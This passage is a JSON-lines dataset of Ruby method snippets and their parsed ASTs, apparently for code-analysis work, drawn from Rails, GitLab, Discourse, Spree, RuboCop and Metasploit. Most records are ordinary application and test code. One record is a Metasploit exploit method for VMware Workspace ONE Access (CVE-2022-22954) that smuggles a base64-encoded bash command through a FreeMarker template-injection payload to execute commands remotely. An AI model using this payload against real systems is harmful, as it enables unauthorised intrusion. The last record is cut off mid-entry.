{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":485,"raw_source":"def mapping\n        mapping = options[:mapping] || [name, name]\n        mapping.first.is_a?(Array) ? mapping : [mapping]\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mapping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mapping\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"first\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"lvar\",\"children\":[\"mapping\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]}]}]}]}]}","id":"8cfe13ad-9d60-4e99-99bf-dbd23de3c995"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/has_custom_fields.rb","start_line":216,"raw_source":"def clear_custom_fields\n    @custom_fields = nil\n    @custom_fields_orig = nil\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_custom_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@custom_fields\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@custom_fields_orig\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"0949a0f2-630f-4ce1-9ac3-0f30673e5fa6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2398,"raw_source":"def origin_merge_requests\n    merge_requests.where(source_project_id: self.id)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"origin_merge_requests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_requests\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]}]}]}","id":"76eef079-f7b1-4a2e-b731-c1ea939eac60"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/spec/jobs/update_scores_for_ten_days_spec.rb","start_line":14,"raw_source":"def run_job\n    described_class.new.execute\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\"]},\"execute\"]}]}","id":"416d350e-bbb5-4b1d-9db5-71f18e594282"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/time/daily_strategy.rb","start_line":11,"raw_source":"def current_partitions\n            Gitlab::Database::PostgresPartition.for_parent_table(table_name).map do |partition|\n              TimePartition.from_sql(table_name, partition.name, partition.condition)\n            end\n          end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_partitions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartition\"]},\"for_parent_table\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimePartition\"]},\"from_sql\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"condition\"]}]}]}]}","id":"19b92ff5-61db-456a-890b-dc5461fab0ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/pipeline.rb","start_line":30,"raw_source":"def import_export_config\n      @import_export_config ||= context.import_export_config\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_export_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@import_export_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"import_export_config\"]}]}]}","id":"f9966428-ae68-4dde-bbe5-4443479760dd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb","start_line":110,"raw_source":"def execute_command(cmd, _opts = {})\n    # Pass cmd to bash without word splitting\n    bash_cmd = \"bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}\"\n\n    vprint_status(\"Executing command: #{bash_cmd}\")\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, ssti_uri),\n      'vhost' => rand_text_alphanumeric(8..16),\n      'vars_get' => {\n        %w[code error].sample => rand_text_alphanumeric(8..16),\n        # https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html\n        ssti_param => %(${\"freemarker.template.utility.Execute\"?new()(\"#{bash_cmd}\")})\n      }\n    }, datastore['CmdExecTimeout'])\n\n    return unless res\n    return '' unless res.code == 400 && res.body.include?('auth.context.invalid')\n\n    res.body\n  end","complexity_score":28.13,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bash_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bash -c {eval,$({echo,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"str\",\"children\":[\"}|{base64,-d})}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bash_cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[null,\"ssti_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"code\"]},{\"type\":\"str\",\"children\":[\"error\"]}]},\"sample\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssti_param\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bash_cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\")}\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CmdExecTimeout\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"auth.context.invalid\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}","id":"6f0fd760-21bf-4ef1-9c3d-24a515073517"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":1045,"raw_source":"def test_ids_for_a_composite_primary_key\n    assert_equal Cpk::Book.all.map(&:id).sort, Cpk::Book.all.ids.sort\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ids_for_a_composite_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"Book\"]},\"all\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"Book\"]},\"all\"]},\"ids\"]},\"sort\"]}]}]}","id":"42bf37ea-ee2f-4d97-bd2b-5f7209f315d1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/server/cache.rb","start_line":72,"raw_source":"def cache_path\n          cache_root_dir = if cache_root_path\n                             File.join(cache_root_path, 'rubocop_cache')\n                           else\n                             cache_root_dir_from_config\n                           end\n\n          File.expand_path(File.join(cache_root_dir, 'server'))\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache_root_dir\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_root_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"cache_root_path\"]},{\"type\":\"str\",\"children\":[\"rubocop_cache\"]}]},{\"type\":\"send\",\"children\":[null,\"cache_root_dir_from_config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"cache_root_dir\"]},{\"type\":\"str\",\"children\":[\"server\"]}]}]}]}]}","id":"393914e5-3797-4465-8d18-3a9deb949d06"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/thread_list_serializer.rb","start_line":26,"raw_source":"def meta\n      meta = { load_more_url: object.load_more_url }\n      meta[:channel_id] = object.channel.id if object.channel\n      meta\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"meta\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"meta\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_more_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"load_more_url\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"channel_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"channel\"]},\"id\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"meta\"]}]}]}","id":"035de299-cc59-4dc5-97d3-b399a15589fa"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/finders/spree/storefront/variant_finder.rb","start_line":23,"raw_source":"def try_variant_from_options\n        return unless options_hash.present?\n        return unless (@product.option_type_ids.map(&:to_s) - options_hash.keys).empty?\n\n        @product.variants.each do |variant|\n          options_matched = options_hash.all? do |option_type_id, name|\n            variant.option_values.any? { |ov| ov.option_type_id.to_s == option_type_id && ov.name.downcase.strip == name.downcase.strip }\n          end\n\n          if options_matched && variant.purchasable? && variant.price_in(current_currency).amount.present?\n            @selected_variant = variant\n            @variant_from_options = variant\n            break\n          elsif options_matched\n            @variant_from_options = variant\n            break\n          end\n        end\n      end","complexity_score":61.1,"ast_json":"{\"type\":\"def\",\"children\":[\"try_variant_from_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options_hash\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"option_type_ids\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options_hash\"]},\"keys\"]}]}]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"variants\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variant\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options_matched\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options_hash\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_type_id\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"option_values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ov\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ov\"]},\"option_type_id\"]},\"to_s\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"option_type_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ov\"]},\"name\"]},\"downcase\"]},\"strip\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"downcase\"]},\"strip\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options_matched\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"purchasable?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"price_in\",{\"type\":\"send\",\"children\":[null,\"current_currency\"]}]},\"amount\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@selected_variant\",{\"type\":\"lvar\",\"children\":[\"variant\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@variant_from_options\",{\"type\":\"lvar\",\"children\":[\"variant\"]}]},{\"type\":\"break\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options_matched\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@variant_from_options\",{\"type\":\"lvar\",\"children\":[\"variant\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]}]}]}]}]}","id":"2336c478-3426-4b39-a180-609bf5b07650"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb","start_line":245,"raw_source":"@connection    = Class.new { def collation; end }.new","complexity_score":4.4,"ast_json":"{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"collation\",{\"type\":\"args\",\"children\":[]},null]}]},\"new\"]}]}","id":"83b3d9d3-586a-4523-82fa-0ecaa9d1ec5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/tree/tree_type.rb","start_line":40,"raw_source":"def submodules\n        Gitlab::Graphql::Representation::SubmoduleTreeEntry.decorate(object.submodules, object)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"submodules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Representation\"]},\"SubmoduleTreeEntry\"]},\"decorate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"submodules\"]},{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"54e07694-1067-4d17-aa62-2e14484767be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250519121930_add_sync_trigger_to_composer_packages_with_packages.rb","start_line":45,"raw_source":"def down\n    drop_trigger(PACKAGES_TABLE, TRIGGER_NAME)\n    drop_function(TRIGGER_FUNCTION_NAME)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"const\",\"children\":[null,\"PACKAGES_TABLE\"]},{\"type\":\"const\",\"children\":[null,\"TRIGGER_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_function\",{\"type\":\"const\",\"children\":[null,\"TRIGGER_FUNCTION_NAME\"]}]}]}]}","id":"6b3bddcc-f585-4a80-a3a5-b8c561e10f70"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/hash/deep_transform_values.rb","start_line":25,"raw_source":"def _deep_transform_values_in_object(object, &block)\n      case object\n      when Hash\n        object.transform_values { |value| _deep_transform_values_in_object(value, &block) }\n      when Array\n        object.map { |e| _deep_transform_values_in_object(e, &block) }\n      else\n        yield(object)\n      end\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"_deep_transform_values_in_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"_deep_transform_values_in_object\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"_deep_transform_values_in_object\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"67e51ea5-a63c-4bc0-88b0-fe88df993305"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/coverage/documents/cobertura_document.rb","start_line":60,"raw_source":"def parse_line(line)\n              [Integer(line[\"number\"]), Integer(line[\"hits\"])]\n            rescue StandardError\n              raise Cobertura::InvalidLineInformationError, \"Line information had invalid values\"\n            end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"str\",\"children\":[\"number\"]}]}]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hits\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cobertura\"]},\"InvalidLineInformationError\"]},{\"type\":\"str\",\"children\":[\"Line information had invalid values\"]}]}]},null]}]}","id":"d4750fac-61a3-478a-bf60-a2d492f3ad62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/restore/preconditions.rb","start_line":63,"raw_source":"def gitlab_version_matches!\n        logger.info(<<~HEREDOC)\n          GitLab version matches:\n            Your current GitLab version (#{Gitlab::VERSION}) matches the GitLab version in the backup.\n        HEREDOC\n        exit 0\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_version_matches!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab version matches:\\n\"]},{\"type\":\"str\",\"children\":[\"  Your current GitLab version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VERSION\"]}]},{\"type\":\"str\",\"children\":[\") matches the GitLab version in the backup.\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"dfdd109e-0808-4750-bca6-b22b3137c27b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/named_base.rb","start_line":175,"raw_source":"def assign_names!(name)\n          @class_path = name.include?(\"/\") ? name.split(\"/\") : name.split(\"::\")\n          @class_path.map!(&:underscore)\n          @file_name = @class_path.pop\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_names!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@class_path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@class_path\"]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"underscore\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@class_path\"]},\"pop\"]}]}]}]}","id":"b5b13e6a-2119-4d25-94be-7f583bee93db"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":589,"raw_source":"def test_paths_escaped\n    rs.draw do\n      get \"file/*path\" => \"content#show_file\", :as => \"path\"\n\n      ActionDispatch.deprecator.silence do\n        get \":controller/:action/:id\"\n      end\n    end\n\n    # No + to space in URI escaping, only for query params.\n    results = rs.recognize_path \"/file/hello+world/how+are+you%3F\"\n    assert results, \"Recognition should have succeeded\"\n    assert_equal \"hello+world/how+are+you?\", results[:path]\n\n    # Use %20 for space instead.\n    results = rs.recognize_path \"/file/hello%20world/how%20are%20you%3F\"\n    assert results, \"Recognition should have succeeded\"\n    assert_equal \"hello world/how are you?\", results[:path]\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_paths_escaped\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"file/*path\"]},{\"type\":\"str\",\"children\":[\"content#show_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"path\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"recognize_path\",{\"type\":\"str\",\"children\":[\"/file/hello+world/how+are+you%3F\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"str\",\"children\":[\"Recognition should have succeeded\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello+world/how+are+you?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"recognize_path\",{\"type\":\"str\",\"children\":[\"/file/hello%20world/how%20are%20you%3F\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"str\",\"children\":[\"Recognition should have succeeded\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello world/how are 